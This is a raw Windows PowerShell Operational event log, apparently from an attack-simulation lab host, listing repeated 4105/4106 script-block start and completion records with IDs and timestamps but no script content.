OpCode=On create calls
RecordNumber=2035608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035607
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035606
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035590
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035589
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035583
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035561
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035559
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035558
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
